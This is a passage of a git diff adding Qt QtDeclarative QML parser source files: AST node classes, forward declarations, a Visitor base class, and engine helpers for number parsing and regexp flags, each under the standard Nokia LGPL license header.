+ SourceLocation commaToken;
+ SourceLocation identifierToken;
+};
+
+class QML_PARSER_EXPORT UiPublicMember: public UiObjectMember
+{
+public:
+ QDECLARATIVEJS_DECLARE_AST_NODE(UiPublicMember)
+
+ UiPublicMember(NameId *memberType,
+ NameId *name)
+ : type(Property), typeModifier(0), memberType(memberType), name(name), expression(0), binding(0), isDefaultMember(false), isReadonlyMember(false), parameters(0)
+ { kind = K; }
+
+ UiPublicMember(NameId *memberType,
+ NameId *name,
+ ExpressionNode *expression)
+ : type(Property), typeModifier(0), memberType(memberType), name(name), expression(expression), binding(0), isDefaultMember(false), isReadonlyMember(false), parameters(0)
+ { kind = K; }
+
+ virtual SourceLocation firstSourceLocation() const
+ {
+ if (defaultToken.isValid())
+ return defaultToken;
+ else if (readonlyToken.isValid())
+ return readonlyToken;
+
+ return propertyToken;
+ }
+
+ virtual SourceLocation lastSourceLocation() const
+ {
+ if (binding)
+ return binding->lastSourceLocation();
+
+ return semicolonToken;
+ }
+
+ virtual void accept0(Visitor *visitor);
+
+// attributes
+ enum { Signal, Property } type;
+ NameId *typeModifier;
+ NameId *memberType;
+ NameId *name;
+ ExpressionNode *expression; // initialized with a JS expression
+ UiObjectMember *binding; // initialized with a QML object or array.
+ bool isDefaultMember;
+ bool isReadonlyMember;
+ UiParameterList *parameters;
+ SourceLocation defaultToken;
+ SourceLocation readonlyToken;
+ SourceLocation propertyToken;
+ SourceLocation typeModifierToken;
+ SourceLocation typeToken;
+ SourceLocation identifierToken;
+ SourceLocation colonToken;
+ SourceLocation semicolonToken;
+};
+
+class QML_PARSER_EXPORT UiObjectDefinition: public UiObjectMember
+{
+public:
+ QDECLARATIVEJS_DECLARE_AST_NODE(UiObjectDefinition)
+
+ UiObjectDefinition(UiQualifiedId *qualifiedTypeNameId,
+ UiObjectInitializer *initializer)
+ : qualifiedTypeNameId(qualifiedTypeNameId), initializer(initializer)
+ { kind = K; }
+
+ virtual SourceLocation firstSourceLocation() const
+ { return qualifiedTypeNameId->identifierToken; }
+
+ virtual SourceLocation lastSourceLocation() const
+ { return initializer->rbraceToken; }
+
+ virtual void accept0(Visitor *visitor);
+
+// attributes
+ UiQualifiedId *qualifiedTypeNameId;
+ UiObjectInitializer *initializer;
+};
+
+class QML_PARSER_EXPORT UiSourceElement: public UiObjectMember
+{
+public:
+ QDECLARATIVEJS_DECLARE_AST_NODE(UiSourceElement)
+
+ UiSourceElement(Node *sourceElement)
+ : sourceElement(sourceElement)
+ { kind = K; }
+
+ virtual SourceLocation firstSourceLocation() const
+ {
+ if (FunctionDeclaration *funDecl = cast<FunctionDeclaration *>(sourceElement))
+ return funDecl->firstSourceLocation();
+ else if (VariableStatement *varStmt = cast<VariableStatement *>(sourceElement))
+ return varStmt->firstSourceLocation();
+
+ return SourceLocation();
+ }
+
+ virtual SourceLocation lastSourceLocation() const
+ {
+ if (FunctionDeclaration *funDecl = cast<FunctionDeclaration *>(sourceElement))
+ return funDecl->lastSourceLocation();
+ else if (VariableStatement *varStmt = cast<VariableStatement *>(sourceElement))
+ return varStmt->lastSourceLocation();
+
+ return SourceLocation();
+ }
+
+
+ virtual void accept0(Visitor *visitor);
+
+// attributes
+ Node *sourceElement;
+};
+
+class QML_PARSER_EXPORT UiObjectBinding: public UiObjectMember
+{
+public:
+ QDECLARATIVEJS_DECLARE_AST_NODE(UiObjectBinding)
+
+ UiObjectBinding(UiQualifiedId *qualifiedId,
+ UiQualifiedId *qualifiedTypeNameId,
+ UiObjectInitializer *initializer)
+ : qualifiedId(qualifiedId),
+ qualifiedTypeNameId(qualifiedTypeNameId),
+ initializer(initializer),
+ hasOnToken(false)
+ { kind = K; }
+
+ virtual SourceLocation firstSourceLocation() const
+ {
+ if (hasOnToken && qualifiedTypeNameId)
+ return qualifiedTypeNameId->identifierToken;
+
+ return qualifiedId->identifierToken;
+ }
+
+ virtual SourceLocation lastSourceLocation() const
+ { return initializer->rbraceToken; }
+
+ virtual void accept0(Visitor *visitor);
+
+// attributes
+ UiQualifiedId *qualifiedId;
+ UiQualifiedId *qualifiedTypeNameId;
+ UiObjectInitializer *initializer;
+ SourceLocation colonToken;
+ bool hasOnToken;
+};
+
+class QML_PARSER_EXPORT UiScriptBinding: public UiObjectMember
+{
+public:
+ QDECLARATIVEJS_DECLARE_AST_NODE(UiScriptBinding)
+
+ UiScriptBinding(UiQualifiedId *qualifiedId,
+ Statement *statement)
+ : qualifiedId(qualifiedId),
+ statement(statement)
+ { kind = K; }
+
+ virtual SourceLocation firstSourceLocation() const
+ { return qualifiedId->identifierToken; }
+
+ virtual SourceLocation lastSourceLocation() const
+ { return statement->lastSourceLocation(); }
+
+ virtual void accept0(Visitor *visitor);
+
+// attributes
+ UiQualifiedId *qualifiedId;
+ Statement *statement;
+ SourceLocation colonToken;
+};
+
+class QML_PARSER_EXPORT UiArrayBinding: public UiObjectMember
+{
+public:
+ QDECLARATIVEJS_DECLARE_AST_NODE(UiArrayBinding)
+
+ UiArrayBinding(UiQualifiedId *qualifiedId,
+ UiArrayMemberList *members)
+ : qualifiedId(qualifiedId),
+ members(members)
+ { kind = K; }
+
+ virtual SourceLocation firstSourceLocation() const
+ { return qualifiedId->identifierToken; }
+
+ virtual SourceLocation lastSourceLocation() const
+ { return rbracketToken; }
+
+ virtual void accept0(Visitor *visitor);
+
+// attributes
+ UiQualifiedId *qualifiedId;
+ UiArrayMemberList *members;
+ SourceLocation colonToken;
+ SourceLocation lbracketToken;
+ SourceLocation rbracketToken;
+};
+
+} } // namespace AST
+
+
+
+QT_QML_END_NAMESPACE
+
+#endif
diff --git a/src/declarative/qml/parser/qdeclarativejsastfwd_p.h b/src/declarative/qml/parser/qdeclarativejsastfwd_p.h
new file mode 100644
index 00000000..83cde71f
--- /dev/null
+++ b/src/declarative/qml/parser/qdeclarativejsastfwd_p.h
@@ -0,0 +1,189 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#ifndef QDECLARATIVEJSAST_FWD_P_H
+#define QDECLARATIVEJSAST_FWD_P_H
+
+#include "private/qdeclarativejsglobal_p.h"
+
+#include <QtCore/qglobal.h>
+
+//
+// W A R N I N G
+// -------------
+//
+// This file is not part of the Qt API. It exists purely as an
+// implementation detail. This header file may change from version to
+// version without notice, or even be removed.
+//
+// We mean it.
+//
+
+QT_QML_BEGIN_NAMESPACE
+
+namespace QDeclarativeJS { namespace AST {
+
+class SourceLocation
+{
+public:
+ SourceLocation(quint32 offset = 0, quint32 length = 0, quint32 line = 0, quint32 column = 0)
+ : offset(offset), length(length),
+ startLine(line), startColumn(column)
+ { }
+
+ bool isValid() const { return length != 0; }
+
+ quint32 begin() const { return offset; }
+ quint32 end() const { return offset + length; }
+
+// attributes
+ // ### encode
+ quint32 offset;
+ quint32 length;
+ quint32 startLine;
+ quint32 startColumn;
+};
+
+class Visitor;
+class Node;
+class ExpressionNode;
+class Statement;
+class ThisExpression;
+class IdentifierExpression;
+class NullExpression;
+class TrueLiteral;
+class FalseLiteral;
+class NumericLiteral;
+class StringLiteral;
+class RegExpLiteral;
+class ArrayLiteral;
+class ObjectLiteral;
+class ElementList;
+class Elision;
+class PropertyNameAndValueList;
+class PropertyName;
+class IdentifierPropertyName;
+class StringLiteralPropertyName;
+class NumericLiteralPropertyName;
+class ArrayMemberExpression;
+class FieldMemberExpression;
+class NewMemberExpression;
+class NewExpression;
+class CallExpression;
+class ArgumentList;
+class PostIncrementExpression;
+class PostDecrementExpression;
+class DeleteExpression;
+class VoidExpression;
+class TypeOfExpression;
+class PreIncrementExpression;
+class PreDecrementExpression;
+class UnaryPlusExpression;
+class UnaryMinusExpression;
+class TildeExpression;
+class NotExpression;
+class BinaryExpression;
+class ConditionalExpression;
+class Expression; // ### rename
+class Block;
+class StatementList;
+class VariableStatement;
+class VariableDeclarationList;
+class VariableDeclaration;
+class EmptyStatement;
+class ExpressionStatement;
+class IfStatement;
+class DoWhileStatement;
+class WhileStatement;
+class ForStatement;
+class LocalForStatement;
+class ForEachStatement;
+class LocalForEachStatement;
+class ContinueStatement;
+class BreakStatement;
+class ReturnStatement;
+class WithStatement;
+class SwitchStatement;
+class CaseBlock;
+class CaseClauses;
+class CaseClause;
+class DefaultClause;
+class LabelledStatement;
+class ThrowStatement;
+class TryStatement;
+class Catch;
+class Finally;
+class FunctionDeclaration;
+class FunctionExpression;
+class FormalParameterList;
+class FunctionBody;
+class Program;
+class SourceElements;
+class SourceElement;
+class FunctionSourceElement;
+class StatementSourceElement;
+class DebuggerStatement;
+class NestedExpression;
+
+// ui elements
+class UiProgram;
+class UiImportList;
+class UiImport;
+class UiPublicMember;
+class UiObjectDefinition;
+class UiObjectInitializer;
+class UiObjectBinding;
+class UiScriptBinding;
+class UiSourceElement;
+class UiArrayBinding;
+class UiObjectMember;
+class UiObjectMemberList;
+class UiArrayMemberList;
+class UiQualifiedId;
+class UiFormalList;
+class UiFormal;
+class UiSignature;
+
+} } // namespace AST
+
+QT_QML_END_NAMESPACE
+
+#endif
diff --git a/src/declarative/qml/parser/qdeclarativejsastvisitor.cpp b/src/declarative/qml/parser/qdeclarativejsastvisitor.cpp
new file mode 100644
index 00000000..c5051218
--- /dev/null
+++ b/src/declarative/qml/parser/qdeclarativejsastvisitor.cpp
@@ -0,0 +1,58 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#include "private/qdeclarativejsastvisitor_p.h"
+
+QT_QML_BEGIN_NAMESPACE
+
+namespace QDeclarativeJS { namespace AST {
+
+Visitor::Visitor()
+{
+}
+
+Visitor::~Visitor()
+{
+}
+
+} } // namespace QDeclarativeJS::AST
+
+QT_QML_END_NAMESPACE
diff --git a/src/declarative/qml/parser/qdeclarativejsastvisitor_p.h b/src/declarative/qml/parser/qdeclarativejsastvisitor_p.h
new file mode 100644
index 00000000..8d6fc616
--- /dev/null
+++ b/src/declarative/qml/parser/qdeclarativejsastvisitor_p.h
@@ -0,0 +1,335 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#ifndef QDECLARATIVEJSASTVISITOR_P_H
+#define QDECLARATIVEJSASTVISITOR_P_H
+
+//
+// W A R N I N G
+// -------------
+//
+// This file is not part of the Qt API. It exists purely as an
+// implementation detail. This header file may change from version to
+// version without notice, or even be removed.
+//
+// We mean it.
+//
+
+#include "private/qdeclarativejsastfwd_p.h"
+#include "private/qdeclarativejsglobal_p.h"
+
+QT_QML_BEGIN_NAMESPACE
+
+namespace QDeclarativeJS { namespace AST {
+
+class QML_PARSER_EXPORT Visitor
+{
+public:
+ Visitor();
+ virtual ~Visitor();
+
+ virtual bool preVisit(Node *) { return true; }
+ virtual void postVisit(Node *) {}
+
+ // Ui
+ virtual bool visit(UiProgram *) { return true; }
+ virtual bool visit(UiImportList *) { return true; }
+ virtual bool visit(UiImport *) { return true; }
+ virtual bool visit(UiPublicMember *) { return true; }
+ virtual bool visit(UiSourceElement *) { return true; }
+ virtual bool visit(UiObjectDefinition *) { return true; }
+ virtual bool visit(UiObjectInitializer *) { return true; }
+ virtual bool visit(UiObjectBinding *) { return true; }
+ virtual bool visit(UiScriptBinding *) { return true; }
+ virtual bool visit(UiArrayBinding *) { return true; }
+ virtual bool visit(UiObjectMemberList *) { return true; }
+ virtual bool visit(UiArrayMemberList *) { return true; }
+ virtual bool visit(UiQualifiedId *) { return true; }
+ virtual bool visit(UiSignature *) { return true; }
+ virtual bool visit(UiFormalList *) { return true; }
+ virtual bool visit(UiFormal *) { return true; }
+
+ virtual void endVisit(UiProgram *) {}
+ virtual void endVisit(UiImportList *) {}
+ virtual void endVisit(UiImport *) {}
+ virtual void endVisit(UiPublicMember *) {}
+ virtual void endVisit(UiSourceElement *) {}
+ virtual void endVisit(UiObjectDefinition *) {}
+ virtual void endVisit(UiObjectInitializer *) {}
+ virtual void endVisit(UiObjectBinding *) {}
+ virtual void endVisit(UiScriptBinding *) {}
+ virtual void endVisit(UiArrayBinding *) {}
+ virtual void endVisit(UiObjectMemberList *) {}
+ virtual void endVisit(UiArrayMemberList *) {}
+ virtual void endVisit(UiQualifiedId *) {}
+ virtual void endVisit(UiSignature *) {}
+ virtual void endVisit(UiFormalList *) {}
+ virtual void endVisit(UiFormal *) {}
+
+ // QDeclarativeJS
+ virtual bool visit(ThisExpression *) { return true; }
+ virtual void endVisit(ThisExpression *) {}
+
+ virtual bool visit(IdentifierExpression *) { return true; }
+ virtual void endVisit(IdentifierExpression *) {}
+
+ virtual bool visit(NullExpression *) { return true; }
+ virtual void endVisit(NullExpression *) {}
+
+ virtual bool visit(TrueLiteral *) { return true; }
+ virtual void endVisit(TrueLiteral *) {}
+
+ virtual bool visit(FalseLiteral *) { return true; }
+ virtual void endVisit(FalseLiteral *) {}
+
+ virtual bool visit(StringLiteral *) { return true; }
+ virtual void endVisit(StringLiteral *) {}
+
+ virtual bool visit(NumericLiteral *) { return true; }
+ virtual void endVisit(NumericLiteral *) {}
+
+ virtual bool visit(RegExpLiteral *) { return true; }
+ virtual void endVisit(RegExpLiteral *) {}
+
+ virtual bool visit(ArrayLiteral *) { return true; }
+ virtual void endVisit(ArrayLiteral *) {}
+
+ virtual bool visit(ObjectLiteral *) { return true; }
+ virtual void endVisit(ObjectLiteral *) {}
+
+ virtual bool visit(ElementList *) { return true; }
+ virtual void endVisit(ElementList *) {}
+
+ virtual bool visit(Elision *) { return true; }
+ virtual void endVisit(Elision *) {}
+
+ virtual bool visit(PropertyNameAndValueList *) { return true; }
+ virtual void endVisit(PropertyNameAndValueList *) {}
+
+ virtual bool visit(NestedExpression *) { return true; }
+ virtual void endVisit(NestedExpression *) {}
+
+ virtual bool visit(IdentifierPropertyName *) { return true; }
+ virtual void endVisit(IdentifierPropertyName *) {}
+
+ virtual bool visit(StringLiteralPropertyName *) { return true; }
+ virtual void endVisit(StringLiteralPropertyName *) {}
+
+ virtual bool visit(NumericLiteralPropertyName *) { return true; }
+ virtual void endVisit(NumericLiteralPropertyName *) {}
+
+ virtual bool visit(ArrayMemberExpression *) { return true; }
+ virtual void endVisit(ArrayMemberExpression *) {}
+
+ virtual bool visit(FieldMemberExpression *) { return true; }
+ virtual void endVisit(FieldMemberExpression *) {}
+
+ virtual bool visit(NewMemberExpression *) { return true; }
+ virtual void endVisit(NewMemberExpression *) {}
+
+ virtual bool visit(NewExpression *) { return true; }
+ virtual void endVisit(NewExpression *) {}
+
+ virtual bool visit(CallExpression *) { return true; }
+ virtual void endVisit(CallExpression *) {}
+
+ virtual bool visit(ArgumentList *) { return true; }
+ virtual void endVisit(ArgumentList *) {}
+
+ virtual bool visit(PostIncrementExpression *) { return true; }
+ virtual void endVisit(PostIncrementExpression *) {}
+
+ virtual bool visit(PostDecrementExpression *) { return true; }
+ virtual void endVisit(PostDecrementExpression *) {}
+
+ virtual bool visit(DeleteExpression *) { return true; }
+ virtual void endVisit(DeleteExpression *) {}
+
+ virtual bool visit(VoidExpression *) { return true; }
+ virtual void endVisit(VoidExpression *) {}
+
+ virtual bool visit(TypeOfExpression *) { return true; }
+ virtual void endVisit(TypeOfExpression *) {}
+
+ virtual bool visit(PreIncrementExpression *) { return true; }
+ virtual void endVisit(PreIncrementExpression *) {}
+
+ virtual bool visit(PreDecrementExpression *) { return true; }
+ virtual void endVisit(PreDecrementExpression *) {}
+
+ virtual bool visit(UnaryPlusExpression *) { return true; }
+ virtual void endVisit(UnaryPlusExpression *) {}
+
+ virtual bool visit(UnaryMinusExpression *) { return true; }
+ virtual void endVisit(UnaryMinusExpression *) {}
+
+ virtual bool visit(TildeExpression *) { return true; }
+ virtual void endVisit(TildeExpression *) {}
+
+ virtual bool visit(NotExpression *) { return true; }
+ virtual void endVisit(NotExpression *) {}
+
+ virtual bool visit(BinaryExpression *) { return true; }
+ virtual void endVisit(BinaryExpression *) {}
+
+ virtual bool visit(ConditionalExpression *) { return true; }
+ virtual void endVisit(ConditionalExpression *) {}
+
+ virtual bool visit(Expression *) { return true; }
+ virtual void endVisit(Expression *) {}
+
+ virtual bool visit(Block *) { return true; }
+ virtual void endVisit(Block *) {}
+
+ virtual bool visit(StatementList *) { return true; }
+ virtual void endVisit(StatementList *) {}
+
+ virtual bool visit(VariableStatement *) { return true; }
+ virtual void endVisit(VariableStatement *) {}
+
+ virtual bool visit(VariableDeclarationList *) { return true; }
+ virtual void endVisit(VariableDeclarationList *) {}
+
+ virtual bool visit(VariableDeclaration *) { return true; }
+ virtual void endVisit(VariableDeclaration *) {}
+
+ virtual bool visit(EmptyStatement *) { return true; }
+ virtual void endVisit(EmptyStatement *) {}
+
+ virtual bool visit(ExpressionStatement *) { return true; }
+ virtual void endVisit(ExpressionStatement *) {}
+
+ virtual bool visit(IfStatement *) { return true; }
+ virtual void endVisit(IfStatement *) {}
+
+ virtual bool visit(DoWhileStatement *) { return true; }
+ virtual void endVisit(DoWhileStatement *) {}
+
+ virtual bool visit(WhileStatement *) { return true; }
+ virtual void endVisit(WhileStatement *) {}
+
+ virtual bool visit(ForStatement *) { return true; }
+ virtual void endVisit(ForStatement *) {}
+
+ virtual bool visit(LocalForStatement *) { return true; }
+ virtual void endVisit(LocalForStatement *) {}
+
+ virtual bool visit(ForEachStatement *) { return true; }
+ virtual void endVisit(ForEachStatement *) {}
+
+ virtual bool visit(LocalForEachStatement *) { return true; }
+ virtual void endVisit(LocalForEachStatement *) {}
+
+ virtual bool visit(ContinueStatement *) { return true; }
+ virtual void endVisit(ContinueStatement *) {}
+
+ virtual bool visit(BreakStatement *) { return true; }
+ virtual void endVisit(BreakStatement *) {}
+
+ virtual bool visit(ReturnStatement *) { return true; }
+ virtual void endVisit(ReturnStatement *) {}
+
+ virtual bool visit(WithStatement *) { return true; }
+ virtual void endVisit(WithStatement *) {}
+
+ virtual bool visit(SwitchStatement *) { return true; }
+ virtual void endVisit(SwitchStatement *) {}
+
+ virtual bool visit(CaseBlock *) { return true; }
+ virtual void endVisit(CaseBlock *) {}
+
+ virtual bool visit(CaseClauses *) { return true; }
+ virtual void endVisit(CaseClauses *) {}
+
+ virtual bool visit(CaseClause *) { return true; }
+ virtual void endVisit(CaseClause *) {}
+
+ virtual bool visit(DefaultClause *) { return true; }
+ virtual void endVisit(DefaultClause *) {}
+
+ virtual bool visit(LabelledStatement *) { return true; }
+ virtual void endVisit(LabelledStatement *) {}
+
+ virtual bool visit(ThrowStatement *) { return true; }
+ virtual void endVisit(ThrowStatement *) {}
+
+ virtual bool visit(TryStatement *) { return true; }
+ virtual void endVisit(TryStatement *) {}
+
+ virtual bool visit(Catch *) { return true; }
+ virtual void endVisit(Catch *) {}
+
+ virtual bool visit(Finally *) { return true; }
+ virtual void endVisit(Finally *) {}
+
+ virtual bool visit(FunctionDeclaration *) { return true; }
+ virtual void endVisit(FunctionDeclaration *) {}
+
+ virtual bool visit(FunctionExpression *) { return true; }
+ virtual void endVisit(FunctionExpression *) {}
+
+ virtual bool visit(FormalParameterList *) { return true; }
+ virtual void endVisit(FormalParameterList *) {}
+
+ virtual bool visit(FunctionBody *) { return true; }
+ virtual void endVisit(FunctionBody *) {}
+
+ virtual bool visit(Program *) { return true; }
+ virtual void endVisit(Program *) {}
+
+ virtual bool visit(SourceElements *) { return true; }
+ virtual void endVisit(SourceElements *) {}
+
+ virtual bool visit(FunctionSourceElement *) { return true; }
+ virtual void endVisit(FunctionSourceElement *) {}
+
+ virtual bool visit(StatementSourceElement *) { return true; }
+ virtual void endVisit(StatementSourceElement *) {}
+
+ virtual bool visit(DebuggerStatement *) { return true; }
+ virtual void endVisit(DebuggerStatement *) {}
+};
+
+} } // namespace AST
+
+QT_QML_END_NAMESPACE
+
+#endif // QDECLARATIVEJSASTVISITOR_P_H
diff --git a/src/declarative/qml/parser/qdeclarativejsengine_p.cpp b/src/declarative/qml/parser/qdeclarativejsengine_p.cpp
new file mode 100644
index 00000000..0d7a7f53
--- /dev/null
+++ b/src/declarative/qml/parser/qdeclarativejsengine_p.cpp
@@ -0,0 +1,212 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#include "private/qdeclarativejsengine_p.h"
+
+#include "private/qdeclarativejsglobal_p.h"
+#include "private/qdeclarativejsnodepool_p.h"
+
+#include <qnumeric.h>
+#include <QHash>
+
+QT_QML_BEGIN_NAMESPACE
+
+namespace QDeclarativeJS {
+
+uint qHash(const QDeclarativeJS::NameId &id)
+{ return qHash(id.asString()); }
+
+QString numberToString(double value)
+{ return QString::number(value); }
+
+int Ecma::RegExp::flagFromChar(const QChar &ch)
+{
+ static QHash<QChar, int> flagsHash;
+ if (flagsHash.isEmpty()) {
+ flagsHash[QLatin1Char('g')] = Global;
+ flagsHash[QLatin1Char('i')] = IgnoreCase;
+ flagsHash[QLatin1Char('m')] = Multiline;
+ }
+ QHash<QChar, int>::const_iterator it;
+ it = flagsHash.constFind(ch);
+ if (it == flagsHash.constEnd())
+ return 0;
+ return it.value();
+}
+
+QString Ecma::RegExp::flagsToString(int flags)
+{
+ QString result;
+ if (flags & Global)
+ result += QLatin1Char('g');
+ if (flags & IgnoreCase)
+ result += QLatin1Char('i');
+ if (flags & Multiline)
+ result += QLatin1Char('m');
+ return result;
+}
+
+NodePool::NodePool(const QString &fileName, Engine *engine)
+ : m_fileName(fileName), m_engine(engine)
+{
+ m_engine->setNodePool(this);
+}
+
+NodePool::~NodePool()
+{
+}
+
+Code *NodePool::createCompiledCode(AST::Node *, CompilationUnit &)
+{
+ Q_ASSERT(0);
+ return 0;
+}
+
+static int toDigit(char c)
+{
+ if ((c >= '0') && (c <= '9'))
+ return c - '0';
+ else if ((c >= 'a') && (c <= 'z'))
+ return 10 + c - 'a';
+ else if ((c >= 'A') && (c <= 'Z'))
+ return 10 + c - 'A';
+ return -1;
+}
+
+double integerFromString(const char *buf, int size, int radix)
+{
+ if (size == 0)
+ return qSNaN();
+
+ double sign = 1.0;
+ int i = 0;
+ if (buf[0] == '+') {
+ ++i;
+ } else if (buf[0] == '-') {
+ sign = -1.0;
+ ++i;
+ }
+
+ if (((size-i) >= 2) && (buf[i] == '0')) {
+ if (((buf[i+1] == 'x') || (buf[i+1] == 'X'))
+ && (radix < 34)) {
+ if ((radix != 0) && (radix != 16))
+ return 0;
+ radix = 16;
+ i += 2;
+ } else {
+ if (radix == 0) {
+ radix = 8;
+ ++i;
+ }
+ }
+ } else if (radix == 0) {
+ radix = 10;
+ }
+
+ int j = i;
+ for ( ; i < size; ++i) {
+ int d = toDigit(buf[i]);
+ if ((d == -1) || (d >= radix))
+ break;
+ }
+ double result;
+ if (j == i) {
+ if (!qstrcmp(buf, "Infinity"))
+ result = qInf();
+ else
+ result = qSNaN();
+ } else {
+ result = 0;
+ double multiplier = 1;
+ for (--i ; i >= j; --i, multiplier *= radix)
+ result += toDigit(buf[i]) * multiplier;
+ }
+ result *= sign;
+ return result;
+}
+
+double integerFromString(const QString &str, int radix)
+{
+ QByteArray ba = str.trimmed().toLatin1();
+ return integerFromString(ba.constData(), ba.size(), radix);
+}
+
+
+Engine::Engine()
+ : _lexer(0), _nodePool(0)
+{ }
+
+Engine::~Engine()
+{ }
+
+QSet<NameId> Engine::literals() const
+{ return _literals; }
+
+void Engine::addComment(int pos, int len, int line, int col)
+{ if (len > 0) _comments.append(QDeclarativeJS::AST::SourceLocation(pos, len, line, col)); }
+
+QList<QDeclarativeJS::AST::SourceLocation> Engine::comments() const
+{ return _comments; }
+
+NameId *Engine::intern(const QChar *u, int s)
+{ return const_cast<NameId *>(&*_literals.insert(NameId(u, s))); }
+
+QString Engine::toString(NameId *id)
+{ return id->asString(); }
+
+Lexer *Engine::lexer() const
+{ return _lexer; }
+
+void Engine::setLexer(Lexer *lexer)
+{ _lexer = lexer; }
+
+NodePool *Engine::nodePool() const
+{ return _nodePool; }
+
+void Engine::setNodePool(NodePool *nodePool)
+{ _nodePool = nodePool; }
+
+
+
+} // end of namespace QDeclarativeJS
+
+QT_QML_END_NAMESPACE
diff --git a/src/declarative/qml/parser/qdeclarativejsengine_p.h b/src/declarative/qml/parser/qdeclarativejsengine_p.h
new file mode 100644
index 00000000..2603e7d2
--- /dev/null
+++ b/src/declarative/qml/parser/qdeclarativejsengine_p.h
@@ -0,0 +1,167 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
